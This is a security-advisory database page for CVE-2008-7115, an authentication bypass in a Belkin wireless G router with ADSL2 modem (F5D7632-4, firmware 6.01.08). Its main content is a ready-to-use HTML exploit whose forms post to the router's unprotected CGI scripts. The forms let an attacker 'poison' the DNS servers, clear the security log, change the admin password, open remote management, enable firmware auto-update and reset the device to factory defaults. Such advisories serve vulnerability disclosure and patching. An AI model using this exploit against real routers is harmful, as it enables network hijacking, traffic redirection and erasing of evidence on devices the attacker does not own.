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Home arrow SecurityAlert Database

Arrow  Topic :

Belkin wireless G router + ADSL2 modem Auth Bypass Exploit


Arrow  SecurityAlert : 6379
Arrow  CVE : CVE-2008-7115
Arrow  CWE : CWE-264
Arrow  SecurityRisk : High  Security Risk High  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Victim interaction required : No
Arrow  Exploit Available : Yes
Arrow  Credit : noensr
Arrow  Published : 30.08.2009

Arrow  Affected Hardware : belkin:wireless_g_router
belkin:f5d7632-4:6.01.08



Arrow  Advisory Content :  

<html>
<head>
</head>
<body>
<b>html code to bypass the webinterface password protection of the Belkin
wireless G router + adsl2 modem.<br>
It worked on model F5D7632-4V6 with upgraded firmware 6.01.08.</b>
<br>
<form action="http://192.168.2.1/cgi-bin/setup_dns.exe" name=dnspoison
method=post>
Change dns nameservers (ip's can't be the same)<br>
<input name=page type=hidden value="setup_dns">
<input name=logout type=hidden value="">
<input name=auto_from_isp type=hidden value="0">
<input name=dns1_1 type=text value="1">
<input name=dns1_2 type=text value="2">
<input name=dns1_3 type=text value="3">
<input name=dns1_4 type=text value="4">
<br>
<input name=dns2_1 type=text value="1">
<input name=dns2_2 type=text value="2">
<input name=dns2_3 type=text value="3">
<input name=dns2_4 type=text value="5">
<br>
<input name=submit type=submit value="poison">
</form>
<br>
<br>
<form action="http://192.168.2.1/cgi-bin/statusprocess.exe" name=clearlog
method=post>
Clear log file<br>
<input name=securityclear type=submit value="clear">
</form>
<br>
<br>

<form ACTION="http://192.168.2.1/cgi-bin/system_all.exe" method=post
name=changepassword>
Change time, pwd(if you have old pwd), remote management, UPnP:)<br>
and automatic firmware update (nice combined with DNS poisoning)<br>

<input type="hidden" name="restart_time" value="0">

<input type="hidden" name="reload" value="1">

<input type="hidden" name="restart_page"
value='document.location.href="system.stm";'>

<input type="hidden" name="location_page" value="system.stm">

<input type="hidden" name="server1" value="">

<input type="hidden" name="server2" value="">

<!-- for clock -->

<input type="hidden" name="year" value="">

<input type="hidden" name="mon" value="">

<input type="hidden" name="day" value="">

<input type="hidden" name="hour" value="">

<input type="hidden" name="min" value="">

<input type="hidden" name="sec" value="">
<br>old password<br>

<input type="password" size="12" maxlength="12" name="userOldPswd"
value="">
<br>new password, twice<br>

<input type="password" size="12" maxlength="12" name="userNewPswd"
value="">

<input type="password" size="12" maxlength="12" name="userConPswd"
value="">
<br>login timeout (1-99 minutes)<br>

<input type="text" name="timeout" size="3" maxlength="3" value="10">

<br>Time and Time Zone:<br>
daylight saving : <br>

<input type="checkbox" name="daylight" value="1">timezone(number)<br>

<input type="text" name="time_zone" value="26">
<input type="checkbox" name="enable_ntp" value="1">Enable Automatic Time
Server Maintenance<br>

<tr>

<td width="240">Primary Server</td>

<td width="360">

<select name="time1">

<option>132.163.4.102 - North America</option>

<option>192.5.41.41 - North America</option>

<option>192.5.41.209 - North America</option>

<option>207.200.81.113 - North America</option>

<option>208.184.49.9 - North America</option>

<option>129.132.2.21 - Europe</option>

<option>130.149.17.8 - Europe</option>

<option>128.250.36.3 - Australia</option>

<option>137.189.8.174 - Asia Pacific</option>

</select>
</td>

</tr>

<tr>

<td width="240">Secondary Server</td>

<td width="360">

<select name="time2">

<option>132.163.4.102 - North America</option>

<option>192.5.41.41 - North America</option>

<option>192.5.41.209 - North America</option>

<option>207.200.81.113 - North America</option>

<option>208.184.49.9 - North America</option>

<option>129.132.2.21 - Europe</option>

<option>130.149.17.8 - Europe</option>

<option>128.250.36.3 - Australia</option>

<option>137.189.8.174 - Asia Pacific</option>

</select>

</td>

</tr>
<br>Remote management: <br>

<input type="checkbox" name="allow_all" value="1">Any IP address can
remotely manage the router<br>
Only this IP address can remotely manage the router<br>

<input name="IP1" size="3" maxlength="3" value="0">.

<input name="IP2" size="3" maxlength="3" value="0">.

<input name="IP3" size="3" maxlength="3" value="0">.

<input name="IP4" size="3" maxlength="3" value="0">

<br>remote port:

<input name="REMOTEPORT" size="5" maxlength="5" value="0">

<br>NAT Enabling:<br>

<input type=radio name=Nat_enable value=1>Enable<br>

<input type=radio name=Nat_enable value=0>Disable<br>
<br>UPnP<br>
<input type="radio" name="upnp_enable" value=1>Enable<br>

<input type=radio name=upnp_enable value=0>Disable<br>
<br>Auto Update Firmware Enabling<br>

<input type="radio" name="autoUpdate_enable" value=1>Enable<br>

<input type="radio" name="autoUpdate_enable" value=0>disable<br>
</form>

<form method="POST" action="http://192.168.2.1/cgi-bin/restore.exe"
name="RebootForm">
<br>restore factory defaults (and pw:D)<br>
<input type="hidden" name="page" value="tools_restore">

<input type="hidden" name="logout">

<input type="submit" value="Restore Defaults" style="{width:120px;}"
class="submitBtn">

</form>
</body>
</html>



Arrow  References :

http://xforce.iss.net/xforce/xfdb/44874
http://www.securitytracker.com/id?1020747
http://www.milw0rm.com/exploits/6305
http://secunia.com/advisories/31665




Arrow  Feedback :

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